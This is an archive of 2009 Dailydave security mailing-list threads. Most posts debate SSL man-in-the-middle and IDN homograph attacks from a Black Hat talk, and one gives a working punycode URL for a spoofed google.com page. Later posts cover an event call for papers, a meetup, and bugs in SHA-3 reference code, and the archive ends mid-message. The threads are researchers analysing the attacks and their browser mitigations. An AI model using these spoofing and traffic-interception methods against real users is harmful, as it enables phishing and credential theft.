seems easy (subject to the trade-offs mentioned above). https://blog.startcom.org/?p=145 -- Dan Moniz [http://pobox.com/~dnm/] From dr at kyx.net Thu Feb 19 15:29:17 2009 From: dr at kyx.net (Dragos Ruiu) Date: Thu, 19 Feb 2009 12:29:17 -0800 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> Message-ID: <50AB3CCD-F462-4DBB-AE50-6A6F627A9DDA@kyx.net> On 19-Feb-09, at 10:04 AM, Dan Moniz wrote: > On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel > wrote: > >> This is a good presentation. >> >> https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf >> >> Essentially he details 3 attacks (from what I can tell): >> 1. Register a .cn address and use unicode character for / and ? to >> have HTTPS://www.paypal.com/?domain.cn? validate > > Unless I'm missing something, this is essentially what Eric Johanson > said in 2005 about IDN: > http://www.shmoo.com/idn/homograph.txt > >> 2. Force user to stay on HTTP by MITM proxy that does modifications >> to >> the data as it goes through. Send HTTPS to the server, and HTTP to >> the >> client. Use a Lock icon as your Faveicon to fool the user they are >> "secure" even though they see HTTP:// instead o HTTPS:// >> >> 3. Sign the leaf cert with your leaf cert. This abuses an >> implementation flaw in OpenSSL, etc. > > If you can sit between endpoints, modify traffic, and you control one > of the eventual endpoints anyway, and only you're jumping through all > these hoops to maintain the illusion for the unsuspecting user, why > not just take control of DNS and *actually* MITM SSL? /me points to Sotirov's et al upcoming presentation in March. I know our editor will be putting up the edited talk descriptions shortly, but an earlier version of the abstract was: Description: Extended Validation (EV) SSL certificates have been touted by Certificate Authorities and browser vendors as a solution to the poor validation standards for issuing traditional SSL certificates. It was previously thought that EV certificates are not affected by attacks that allow malicious hackers to obtain a non-EV SSL certificate, such as the MD5 collision attack or the widely publicized failures of some CAs to validate domain ownership before issuing certificates. Unfortunately, it turns out that the security offered by EV certificates is not any better than the security of even the cheapest $12 SSL certificate. In this talk we will show how any attacker who can obtain a non-EV SSL certificate for a website can perform completely transparent man-in-the-middle attacks on any SSL connection to that site, even if the website is protected is by an EV certificate and the users are diligently inspecting all information contained in the SSL certificates. cheers, --dr -- World Security Pros. Cutting Edge Training, Tools, and Techniques Vancouver, Canada March 16-20 2009 http://cansecwest.com London, U.K. May 27/28 2009 http://eusecwest.com pgpkey http://dragos.com/ kyxpgp From alex at sotirov.net Fri Feb 20 06:07:26 2009 From: alex at sotirov.net (Alexander Sotirov) Date: Fri, 20 Feb 2009 06:07:26 -0500 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <448e9a320902192241m2ca37815r978336f7ea8b9f55@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> <448e9a320902192241m2ca37815r978336f7ea8b9f55@mail.gmail.com> Message-ID: <20090220110726.GA42675@MacBook.local> On Fri, Feb 20, 2009 at 07:41:25AM +0100, Michal Zalewski wrote: > > The new idea in this presentation is to use a .cn domain, but use UNICODE > > characters that look like '/'. > > The idea is certainly not new; it's covered, amongst other places, in > our Browser Security Handbook for a longer while (gives specifically > the '/' example, and discusses mitigations): > > http://code.google.com/p/browsersec/wiki/Part2#International_Domain_Name_checks I assumed it was new because I hadn't been following the IDN security closely, but you're right, this attack has been known for a while. However, the countermeasures browsers have implemented are trivial to bypass. It only took me an hour to find a number of variations of the homograph attack that still work. Here's a spoofed google.com page (over SSL for bonus points) that works on the latest version of Firefox 3 on Mac OS X: https://www.google.xn--com-edoaaaaaaaaaaaaaaaaaaaaaaaaaaaa.phreedom.org/ It's been years since browser vendors were first made aware of the homograph attacks and there is still no good solution. Perhaps it's time to scrap IDN and try a different approach? Take care, Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20090220/271ae4f0/attachment.pgp From lcamtuf at coredump.cx Fri Feb 20 01:41:25 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Fri, 20 Feb 2009 07:41:25 +0100 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <20090219200735.GA7375@MacBook.local> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> Message-ID: <448e9a320902192241m2ca37815r978336f7ea8b9f55@mail.gmail.com> > The new idea in this presentation is to use a .cn domain, but use UNICODE > characters that look like '/'. The idea is certainly not new; it's covered, amongst other places, in our Browser Security Handbook for a longer while (gives specifically the '/' example, and discusses mitigations): http://code.google.com/p/browsersec/wiki/Part2#International_Domain_Name_checks Unless I am mistaken, an URL such as http://www.example.com?foo.ijjk.cn (which is the example discussed) is rendered as Punycode by Firefox 3, MSIE7, Safari 3, Chrome, and Opera 9, specifically because - as discussed - they implement domain or locale script correlation, or have homoglyph blacklists built in. If you compare Moxie's screenshots with the appearance of Firefox 2 and 3, it is clear from the URL bar back / forward / reload / home icons, that he is using a long-obsolete and unsupported version 1.x, which is either an honest mistake, or a small bit of deception - but in any case, the attack should not work in contemporary browsers. /mz From chris at casabasecurity.com Fri Feb 20 03:55:35 2009 From: chris at casabasecurity.com (Chris Weber ) Date: Fri, 20 Feb 2009 00:55:35 -0800 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <86fc46910902191346o50d4de89s82e16a503d70ce12@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> <86fc46910902191346o50d4de89s82e16a503d70ce12@mail.gmail.com> Message-ID: <003c01c99339$0236e220$06a4a660$@com> You wouldn't actually need a .CN domain to do this, a .ORG would do the trick. But I'm skeptical of the slides. From the screenshots in the presentation it looks like U+FF0F FULLWIDTH SOLIDUS is being used as the U+002F homograph. If that's the case, it would have to be an older Firefox browser because current major browsers seem to (mostly) normalize with form KC as defined by the Nameprep RFC. This normalization reduces U+FF0F to U+002F. If it's one of the other homographs that are visually similar to the example screenshot, then current browsers seem to handle those cases well too. Opera spits out illegal-url messages, and the most others just convert to Punycode in the status bar and URL. Chrome seems to have an issue with normalizing U+FF0F in particular which is probably a bug but not a vulnerability. I wouldn't say IDN is dead but it may be mutilated - there are significant differences between the way browsers handle it. Opera, Firefox, and Safari have whitelisted domains which are allowed to display IDN characters in the URL and status bar. These includes .ORG which is why you don't need a .CN registrar, just a good subdomain spoof. But these three take extra steps to prohibit certain characters like / lookalikes. There's one lookalike in particular that's overlooked in their filters but it's obviously not the one in the Moxie's screenshot. Firefox has a configurable list of prohibited characters. IE allows limited mixed-script in certain situations. I don't know what Chrome intends to do. -Chris -----Original Message----- From: dailydave-bounces at lists.immunitysec.com [mailto:dailydave-bounces at lists.immunitysec.com] On Behalf Of Dan Moniz Sent: Thursday, February 19, 2009 1:47 PM To: Alexander Sotirov; George Ou Cc: dailydave at lists.immunityinc.com Subject: Re: [Dailydave] SSL MITM fun. On Thu, Feb 19, 2009 at 3:07 PM, Alexander Sotirov wrote: > On Thu, Feb 19, 2009 at 01:04:33PM -0500, Dan Moniz wrote: >> On Thu, Feb 19, 2009 at 12:07 PM, Dave Aitel wrote: >> > 1. Register a .cn address and use unicode character for / and ? to >> > have HTTPS://www.paypal.com/?domain.cn? validate >> >> Unless I'm missing something, this is essentially what Eric Johanson >> said in 2005 about IDN: >> http://www.shmoo.com/idn/homograph.txt > > Eric used the IDN to register pаypal.com, which was displayed as > paypal.com. According to Moxie's presentation, this doesn't work any more > because Firefox always shows the non-IDN version of the domain name for > the .com TLD. Firefox will show the above domain as xn--pypal-4ve.com. > > The new idea in this presentation is to use a .cn domain, but use UNICODE > characters that look like '/'. The attacker registers a domain like > www.google.com/blahblahblah.cn, and since this is a .cn domain, the > browser decodes the IDN name and displays the '/' character. Very cool. > > This means that as long as there is one TLD which allows IDN, attackers > can spoof any address in any other TLD. IDN is dead. I guess what I was getting at is that this still relies on a lack of canonicalization of Unicode characters to codepoints, and takes advantage of a character appearing to be something it actually isn't, in this case, one including something that looks like a slash (or virgule) but isn't. Am I still missing something? Interestingly, the slash we're all familiar with on "standard' keyboards is U+002F, named SOLIDUS in Unicode, despite the fact U+2044 is typographically a solidus, yet *it* is named FRACTION SLASH in Unicode, in flagrant violation of hundreds of years of typesetting convention; Somewhere, Bringhurst is rightfully incensed. >> > 3. Sign the leaf cert with your leaf cert. This abuses an >> > implementation flaw in OpenSSL, etc. >> >> If you can sit between endpoints, modify traffic, and you control one >> of the eventual endpoints anyway, and only you're jumping through all >> these hoops to maintain the illusion for the unsuspecting user, why >> not just take control of DNS and *actually* MITM SSL? > > No, ever if you sit between endpoints you are not necessarily in control > of the endpoints. For example, sitting in a Starbucks will let you modify > the traffic for other WiFi clients, but you don't have access to the > clients themselves. My understanding of the attack presented was that the attacker was able to at least sit between endpoints and modify HTTP responses (e.g. 302 redirect) from the legitimate destination host en route back to the requesting host towards the end of rewriting them to point to the new .cn domain name. In addition, the host on the other end of that .cn domain name was attacker-controlled. Given this, why not just try to gain control of DNS and actively MITM SSL instead of rewriting HTTP responses? The request to go to http://www.secure.example.com/ goes to the attacker's bump on the wire, the attacker can independently fetch content from the real http://www.secure.example.com/ and follow whatever legitimate 302 redirect it returns to point to https://www.secure.example.com/, initiate and handle the SSL/TLS setup, and either establish real SSL with the requester as well (with a generated cert signed by a cert trusted by the browser), or do the same thing (for whatever reason) and just feed back pages that look right but aren't. As far as I can tell, the trade-offs are: 1. One way you aren't really supporting the requester using SSL, but they likely won't notice or care. You need to register an appropriate IDN domain name with a TLD that supports IDN, like .cn. You need to sit on the network to rewrite 302 redirect responses from the destination host back to the requester to point to your domain name. You need to run your malicious attacker-controlled endpoint referenced by your domain name. 2. The other way you can force HTTP if you want to, or you can support SSL to the requester with a cert signed by a trusted cert which would result in no cert warnings. You can observe and modify all the traffic you want, including pointing to other sites if you so choose, but you don't need to. You have to take over DNS as far as the requester is concerned, at least. The requester never need see anything other than what the legitimate destination's URLs should and do look like under normal circumstances. Did I miss something? On Thu, Feb 19, 2009 at 3:27 PM, George Ou wrote: > You don't need to MITM SSL, nor is it easy to do. > > When you fake an SSL cert, the user gets a certificate warning which 9 out > of 10 people ignore anyways. Taking control of DNS does nothing to change > this. Eddy Nigg documented an example with cert resellers doing zero verification before issuing a cert for mozilla.com, which was trusted by Firefox out of the box, as late as December 23, 2008 (cert issued for one year, starting on December 22, 2008). This would raise no warnings. I find it hard to believe there are provably no resellers today, nor will there be any in the future, that wouldn't necessarily do the same thing. This plus the ability to control domain names resolution and it seems easy (subject to the trade-offs mentioned above). https://blog.startcom.org/?p=145 -- Dan Moniz [http://pobox.com/~dnm/] _______________________________________________ Dailydave mailing list Dailydave at lists.immunitysec.com http://lists.immunitysec.com/mailman/listinfo/dailydave From lcamtuf at coredump.cx Fri Feb 20 06:31:41 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Fri, 20 Feb 2009 12:31:41 +0100 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <20090220110726.GA42675@MacBook.local> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> <448e9a320902192241m2ca37815r978336f7ea8b9f55@mail.gmail.com> <20090220110726.GA42675@MacBook.local> Message-ID: <448e9a320902200331i70b1a582m1b2248ffc6958473@mail.gmail.com> > However, the countermeasures browsers have implemented are trivial to bypass. > It only took me an hour to find a number of variations of the homograph attack > that still work. Here's a spoofed google.com page (over SSL for bonus points) > that works on the latest version of Firefox 3 on Mac OS X: Ugh, it sucks if Firefox still falls for this with the typefaces the URL is displayed with on MacOS X. Does not seem to work in MSIE7, Safari, Opera, or Chrome - though their mechanisms are also far from being perfect (simply because there is no particularly decent solution). > It's been years since browser vendors were first made aware of the homograph > attacks and there is still no good solution. Perhaps it's time to scrap IDN > and try a different approach? Well, from a security standpoint, IDN was a poorly thought out / underspecified idea, and also one that was rendered nearly useless by the security restrictions imposed later on - or at least, spare for a couple of odds and ends, I do not see it being used in Latin alphabet countries in appreciable numbers. ...but ditto for most other browser mechanism, including cross-domain interactions (XSRF, "clickjacking"), same-origin policy (which not only has several incompatible flavors, but is a grossly insufficient as a security mechanism *AND* proves to be a major obstacle for developers - quite a feat)... content sniffing, globalStorage, HTTP / HTML / cookie parsing ambiguities, and a lot more... (in fact, about 80% of BSH is "oh God, what were they thinking?")... ...and ditto for pretty much every other core technology behind the Internet (DNS, SMTP, anyone?). Good and incompatible alternatives are easy to propose, but seems like in the end, we are very little to fix the systemic failures through decades, so I'm not getting my hopes up for replacing IDN with a better alternative any time soon. Bleh. /mz From thomas at coseinc.com Fri Feb 20 01:16:51 2009 From: thomas at coseinc.com (Thomas Lim) Date: Fri, 20 Feb 2009 14:16:51 +0800 Subject: [Dailydave] SyScan'09 Call For Paper - Shanghai, Hong Kong, Singapore, Taipei Message-ID: <499E4AD3.2090202@coseinc.com> dear all CFP for SyScan'09 Shanghai and Hong Kong will be closing in 10 days' time. the closing date is 28th February 2009. If you do not want to miss out on a sensational party on a chinese junk sailing around Hong Kong's many islands and/or visiting the famous Shanghai Bund and tasting the most delicious "little dragon dumplings", send in your submission now. SyScan'09 CALL FOR PAPERS/TRAINING ABOUT SYSCAN'09 This year, SyScan'09 will be held in the 4 exciting cities of Singapore, Shanghai, Taipei and Hong Kong. Details are as follows: SyScan'09 Shanghai date: 13, 14 May 2009 venue: Ramada Plaza Hotel Shanghai SyScan'09 Hong Kong date: 19, 20 May 2009 venue: Langham Place Hotel SyScan'09 Singapore date: 2, 3 July 2009 venue: Novotel Clarke Quay Hotel SyScan'09 Taipei date: 7, 8 July 2009 venue: NTUH International Convention Center CFP COMMITTEE The Call for Papers committee for SyScan?09 comprises of the following personnel: 1. Thomas Lim ? Organiser of SyScan and CEO of COSEINC 2. Dave Aitel ? Founder and CTO of Immunitysec 3. Marc Maiffret ? Ex-Founder and Chief Hacking Officer of eEye 4. Matthew ?Shok? Conover ? Symantec The CFP committee will review all submissions and determine the final list of speakers for SyScan?09. CONFERENCE TOPICS The focus for SyScan?09 will include the following: *Operating Systems * ? Vista ? Windows 7 ? Linux *Mobile Devices/Embedded systems * ? SmartPhones ? PDAs ? Game Consoles *Web 2.0 * ? Web services ? PHP ? .Net/.asp ? Web applications *Networking/Telecommunication * ? VoIP ? 3G/3.5G network ? IPv6 ? WLAN/WiFi ? GPRS *New Technologies* ? Chrome ? IE8 ? Android ? iPhone *Virtualization * *Malware/Rootkits BotNets Security Policy/Best Practices Legislation* Any topics that will catch the attention of the CFP committee and/or the world. TRAINING TOPICS SyScan?09 training topics will focus on the following areas: Web Applications Networks Securing Windows/Linux Systems Databases Storage Secure Programming/Development PRIVILEGES Speakers? Privileges: ? Return economy class air-ticket for one person. ? 3 nights of accommodation. ? Breakfast, lunch and dinner during conference. ? After-conference party. ? A very healthy dose of alcohol and fun. ? S$500 cash for speakers with brand new presentations. Trainers? Privileges: ? 50% of net profit of class. ? 2 nights of accommodation (conference) (applicable for Singapore only). ? After-conference party. ? A very healthy dose of alcohol and fun. Please note that the net profit for each class is determined by the difference between the total fee collected for each class and the total expenses incurred for each class. The expenses of each class would include the return economy air-ticket of the trainer, 3 nights of accommodation (training) and the rental of the training venue. *CFP SUBMISSION* CFP submission must include the following information: 1) Brief biography including list of publications and papers published previously or training classes conducted previously. 2) Proposed presentation/training title, category, synopsis and description. 3) Contact Information (full name, alias, handler, e-mail, postal address, phone, fax, photo, country of origin, special dietary requirement). 4) Employment and/or affiliations information. 5) Any significant presentation and educational/training experience/background. 6) Why is your material different or innovative or significant or an important tutorial? Please note that all speakers will be allocated 50 minutes of presentation time. Any speakers that require more time must inform the CFP committee during the CFP submission. Training classes will be 2 full days. Please inform the CFP committee if your class is shorter or longer than 2 days during your CFP submission. All submissions must be in English and in PDF format only. The more information you provide, the better the chance for selection. Please send submission to cfp at syscan.org. *IMPORTANT DATES * *Shanghai* Final CFP Submission ? 28th February 2009. Notification of Acceptance ? 16th March 2009. Final Submission for Accepted Presentation Material (Speakers) ? 15th April 2009 *Hong Kong* Final CFP Submission ? 28th February 2009. Notification of Acceptance ? 16th March 2009. Final Submission for Accepted Presentation Material (Speakers) ? 15th April 2009. *Singapore* Final CFP Submission ? 31st March 2009. Notification of Acceptance ? 15th April 2009. Final Submission for Accepted Presentation Material (Speakers) ? 8th May 2009. *Taipei* Final CFP Submission ? 31st March 2009. Notification of Acceptance ? 15th April 2009. Final Submission for Accepted Presentation Material (Speakers) ? 8th May 2009. *OTHER INFORMATION * Please feel free to visit SyScan website to get a feel what this conference is all about ? SHARE AND HAVE FUN! By agreeing to speak at the SyScan'09 you are granting Syscan Pte. Ltd. the rights to reproduce, distribute, advertise and show your presentation including but not limited to http://www.syscan.org, printed and/or electronic advertisements, and all other mediums. -- Thank you Thomas Lim Organiser SyScan'09 www.syscan.org -- thank you thomas lim COSEINC From robert at swiecki.net Fri Feb 20 09:11:21 2009 From: robert at swiecki.net (=?UTF-8?B?Um9iZXJ0IMWad2nEmWNraQ==?=) Date: Fri, 20 Feb 2009 15:11:21 +0100 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <20090220110726.GA42675@MacBook.local> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> <448e9a320902192241m2ca37815r978336f7ea8b9f55@mail.gmail.com> <20090220110726.GA42675@MacBook.local> Message-ID: <52d7aaf20902200611v42a49686r2f0412a27466d1a@mail.gmail.com> > However, the countermeasures browsers have implemented are trivial to bypass. > It only took me an hour to find a number of variations of the homograph attack > that still work. Here's a spoofed google.com page (over SSL for bonus points) > that works on the latest version of Firefox 3 on Mac OS X: > > https://www.google.xn--com-edoaaaaaaaaaaaaaaaaaaaaaaaaaaaa.phreedom.org/ You can find the list of blacklisted IDN characters in firefox's about:config one of the idn.something.blacklist keys If the character you used is not listed there, you should report it to mozilla, if it is, then there must be an implementation bug hiding somewhere in FF. -- Robert ?wi?cki From lcamtuf at coredump.cx Fri Feb 20 10:59:37 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Fri, 20 Feb 2009 16:59:37 +0100 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <499ED30A.1020400@cert.org> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219200735.GA7375@MacBook.local> <448e9a320902192241m2ca37815r978336f7ea8b9f55@mail.gmail.com> <20090220110726.GA42675@MacBook.local> <499ED30A.1020400@cert.org> Message-ID: <448e9a320902200759n79aa3702u37be5b0e5b827c89@mail.gmail.com> > Not if you have network.enableIDN set to false. IIRC, that also disables IDN in general, so it's better to just set network.IDN_show_punycode to true (which forces Punycode display, but does not break IDN links per se). /mz From taosecurity at gmail.com Fri Feb 20 19:46:56 2009 From: taosecurity at gmail.com (Richard Bejtlich) Date: Fri, 20 Feb 2009 19:46:56 -0500 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <20090219233605.GK20022@syn.lnxnet.net> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219233605.GK20022@syn.lnxnet.net> Message-ID: <120ef0530902201646w725b4024te09e1fd653ac2dc1@mail.gmail.com> On Thu, Feb 19, 2009 at 6:36 PM, Fyodor wrote: > The slides give numbers for how many people he apparently fooled with > the MITM attacks (e.g. 16 credit card numbers and 7 PayPal logins and > 300 other https logins in 24 hours), but it isn't clear from the > slides alone where he performed the attacks. Maybe a coffee shop? > I'm hoping it was on the Black Hat DC network before his presentation > :). > I may have missed it in this thread, but Moxie said he ran a Tor exit node and ran his attack against those using the node. He said during the talk that he scripted a process to count the users, so he didn't directly inspect data he captured. One aside -- several people in Moxie's talk discussed the need to MITM traffic by ARP spoofing, etc., on local LANs. Moxie's tricks are much more interesting if you combine them with the BGP hijacking demonstrated at Def Con last year and expanded upon at BH DC this year: http://www.renesys.com/blog/2009/02/stealing-the-internet-back-1.shtml#more With BGP hijacking you can apply Moxie's tricks without having a foothold on the target's network. Sincerely, Richard From dave at immunityinc.com Mon Feb 23 13:37:32 2009 From: dave at immunityinc.com (Dave Aitel) Date: Mon, 23 Feb 2009 13:37:32 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! Message-ID: <49A2ECEC.3090806@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://blog.fortify.com/blog/fortify/ So Fortify owned up the SHA-3 hash contestants. It's highly embarrassing. I'm not sure why contestants were required to include a C implementation, but in the future this should be a managed language, like Java or C#. That would provide better results too, since people would understand it easier and it would be optimized at a higher level. Although, maybe anyone who submits code with bugs should just be disqualified, because that's funnier? Also, what's it with people using the word "breach"? Is it a way to make it feel like a natural disaster? Maybe something unavoidable? Who here doesn't think all the payment processors are owned and probably always will be? Is this a bug in the whole credit processing business model? - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJouzrtehAhL0gheoRAoWBAJ0YdJnOff3Qglnq8FMRg0nr2zSb6gCeKeOx yjUz6/muw64oPdv5Yt49E7Q= =undd -----END PGP SIGNATURE----- From halvar at gmx.de Mon Feb 23 16:37:24 2009 From: halvar at gmx.de (Halvar Flake) Date: 23 Feb 2009 22:37:24 +0100 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A2ECEC.3090806@immunityinc.com> References: <49A2ECEC.3090806@immunityinc.com> Message-ID: <49A31714.1090909@gmx.de> Hey all, no offense Dave, but a Java or C# implementation of a hash function is for most purposes useless. Hash functions are used in a lot of environments where interpreters for Java or C# are not available (nor desirable), and such code would make performance evaluations unnecessarily difficult. Also, hash functions are very much tailored to the CPUs they run on (hence the proliferation of add/xor/rol constructs in the SHA-3 contest) -- building a hash function optimized for the JVM would probably use different building blocks. I have no idea which instructions in the JVM are "faster" than others, and what the effects of the JIT compiler are -- could anyone clue me in ? Thirdly, "optimizing a hash function at a higher level" ... *cough* ... there's no data structures to speak of, and each hash function just churns through bunch of bits. This sounds like having drunk too much HLL coolaid. "Don't worry about a thing, optimize the high level bits of your algorithm" ... doesn't fly when there is nothing to optimize at the high level, and you still need to calculate an HMAC for each packet passing through. Anyhow, your post served it's purpose ... as flamebait ;) Anyhow, back to work. Cheers, Halvar From tsabin at optonline.net Mon Feb 23 17:10:21 2009 From: tsabin at optonline.net (Todd Sabin) Date: Mon, 23 Feb 2009 17:10:21 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A2ECEC.3090806@immunityinc.com> References: <49A2ECEC.3090806@immunityinc.com> Message-ID: Dave Aitel writes: > http://blog.fortify.com/blog/fortify/ > > So Fortify owned up the SHA-3 hash contestants. It's highly > embarrassing. I'm not sure why contestants were required to include a > C implementation, but in the future this should be a managed language, > like Java or C#. That would provide better results too, since people > would understand it easier and it would be optimized at a higher > level. Although, maybe anyone who submits code with bugs should just > be disqualified, because that's funnier? Fortify mortify Many cryptographers Writing in C when they Really should not. Nevertheless, we'll for- Give them because of the Cryptanalytical Skills they have got. -- Todd Sabin From jon at oberheide.org Mon Feb 23 17:33:07 2009 From: jon at oberheide.org (Jon Oberheide) Date: Mon, 23 Feb 2009 17:33:07 -0500 Subject: [Dailydave] ARBSEC: Ann Arbor Security Meetup Message-ID: <1235428387.4604.4.camel@localhost> Calling all security professionals in the Michigan area! Please join us for ARBSEC, an informal CitySec meetup of local security professionals. Mingle, network, and talk shop over food and drinks with like-minded folks. Unlike other meetups, you will not be expected to pay dues, "join up", or present a zero-day exploit to attend. What: ARBSEC 01 When: March 4th, 6:00pm Where: Bar Louie, Ann Arbor, MI For more information: Web: http://arbsec.org/ Twitter: http://twitter.com/arbsec RSVP: http://a2geeks.org/display/geek/ARBSEC+01 Feel free to forward this announcement to other interested parties or contact me if you have any questions. Regards, Jon Oberheide -- Jon Oberheide GnuPG Key: 1024D/F47C17FE Fingerprint: B716 DA66 8173 6EDD 28F6 F184 5842 1C89 F47C 17FE -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: This is a digitally signed message part Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20090223/2b696399/attachment-0001.pgp From dave at immunityinc.com Mon Feb 23 17:45:27 2009 From: dave at immunityinc.com (Dave Aitel) Date: Mon, 23 Feb 2009 17:45:27 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A31714.1090909@gmx.de> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> Message-ID: <49A32707.3080709@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 We should make them write them in asm then. Or is that basically what they're doing? The cool thing about having it in (J)VM code is you'd be able to model the operations to say "Now MOV's to memory where it's not cached as in my memory model are going to cost me three hit points" and maybe predict future performance? I dunno. It's just a lot easier to covert Java code to Python code, so I prefer that cause I'm selfish. :> Someone else pointed out to me that what Fortify didn't say is how many false positives they got, and how long took to go through and validate the results with X people. I think "How long did these results take to generate" would be an interesting number, but not really relevant to most developer shops. Fortify (and boutique shops like Immunity) can afford to put a Bas Alberts on the results of a static analysis run. Few dev shops can do this though. Most devs are domain experts, and that domain isn't C source code security analysis. It might be cryptographic design. Lots of new security technologies look like this: [some automated process] ----> [some small team of really skilled people] ----> results. This is great stuff, but it's not "scalable" in the sense that the sales team will imply. - -dave Halvar Flake wrote: > Hey all, > > no offense Dave, but a Java or C# implementation of a hash function > is for most purposes useless. Hash functions are used in a lot of > environments where interpreters for Java or C# are not available > (nor desirable), and such code would make performance evaluations > unnecessarily difficult. > > Also, hash functions are very much tailored to the CPUs they run on > (hence the proliferation of add/xor/rol constructs in the SHA-3 > contest) -- building a hash function optimized for the JVM would > probably use different building blocks. I have no idea which > instructions in the JVM are "faster" than others, and what the > effects of the JIT compiler are -- could anyone clue me in ? > > Thirdly, "optimizing a hash function at a higher level" ... *cough* > ... there's no data structures to speak of, and each hash function > just churns through bunch of bits. This sounds like having drunk > too much HLL coolaid. "Don't worry about a thing, optimize the high > level bits of your algorithm" ... doesn't fly when there is nothing > to optimize at the high level, and you still need to calculate an > HMAC for each packet passing through. > > Anyhow, your post served it's purpose ... as flamebait ;) > > Anyhow, back to work. Cheers, Halvar > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJoycGtehAhL0gheoRAucJAJ90NCP7lo776enKJhz/SyNZsdqgAACdEG7x hL0hNXscW4CpSfy103b/RcQ= =fsKE -----END PGP SIGNATURE----- From michaelslists at gmail.com Mon Feb 23 18:27:03 2009 From: michaelslists at gmail.com (silky) Date: Tue, 24 Feb 2009 10:27:03 +1100 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A31714.1090909@gmx.de> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> Message-ID: <5e01c29a0902231527w5dbef91dkb7325a3f57bfca71@mail.gmail.com> On Tue, Feb 24, 2009 at 8:37 AM, Halvar Flake wrote: > Hey all, > > no offense Dave, but a Java or C# implementation of a hash function is > for most purposes useless. Hash functions are used in a lot of environments where > interpreters for Java or C# are not available (nor desirable), and such > code would make performance evaluations unnecessarily difficult. I agree, I think having the reference implementations published in a language closer to what they will (typically) be written in is good anyway. Consider that had they been written in C#, with no buffer overflows to worry about, someone will privately convert that to C, and probably make a mistake. But this time, it won't be public. At least in the current case, the flaws are public to all and can be fixed - and known to be fixed - to all. Far more helpful. Safer to translate from C to C# than the other way round. At least if you go up you're probably less and less concerned about performance. -- noon silky http://www.boxofgoodfeelings.com/ From talg at stanford.edu Mon Feb 23 19:00:32 2009 From: talg at stanford.edu (Tal Garfinkel) Date: Mon, 23 Feb 2009 16:00:32 -0800 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A31714.1090909@gmx.de> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> Message-ID: I think Halvar did a good job of explaining the purpose of specifying the algorithms in C as opposed to some other language - and as he noted, for these purposes, speed and algorithmic correctness are the important considerations for this particular input to the process. To step up a level: At this point there are two questions to be answered about these designs by the NIST process. 1) How much confidence do we have in the algorithm? 2) How fast can the algorithm be made to run in practice for many classes of devices? To answer question 1, you look at the written specification, then draw on your many years of cryptanalysis experience. To answer question 2, you look at the written specification, draw on your many years of experience building software and hardware, futz with and measure the C code, and as you see some teams doing, go beyond this and implement it and measure it in hardware, where its easier (and possible) to exploit more parallelism. To conclude, this is not production code, and was not intended to be. What the fortify guys did is cute - a nice reminder of how easy it is to mess up in C- and has no relevance to what the NIST process is about. Cheers, Tal On Mon, Feb 